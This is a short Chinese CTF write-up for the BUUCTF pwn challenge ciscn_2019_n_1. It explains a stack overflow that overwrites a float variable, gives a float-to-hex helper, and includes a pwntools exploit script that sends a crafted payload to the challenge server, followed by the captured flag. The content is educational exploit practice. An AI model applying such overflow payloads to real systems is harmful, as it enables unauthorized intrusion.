pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
chenzhou__8 小时前
LinuxC语言并发程序笔记补充
linux·c语言·数据库·笔记·学习·进程
YJlio8 小时前
LogonSessions 学习笔记(9.17):会话枚举与凭据审计
人工智能·笔记·学习
TL滕8 小时前
从0开始学算法——第七天(快速排序算法练习)
笔记·学习·算法·排序算法
im_AMBER8 小时前
Leetcode 68 搜索插入位置 | 寻找比目标字母大的最小字母
数据结构·笔记·学习·算法·leetcode
重生之我在番茄自学网安拯救世界8 小时前
网络安全中级阶段学习笔记(四):XSS-Labs 前 10 关 通关命令and实战笔记
笔记·学习·网络安全·xss·xss-labs
严文文-Chris8 小时前
【非监督学习常见算法】
学习·算法·机器学习
专注于大数据技术栈8 小时前
java学习--注解之@Deprecated
java·学习
冬夜戏雪8 小时前
【java学习日记】【2025.12.4】【4/60】
java·开发语言·学习
d111111111d8 小时前
STM32低功耗学习-待机模式-(学习笔记)
笔记·stm32·单片机·嵌入式硬件·学习
TL滕8 小时前
从0开始学算法——第七天(快速排序算法)【面试高频】
笔记·学习·算法·面试·职场和发展·排序算法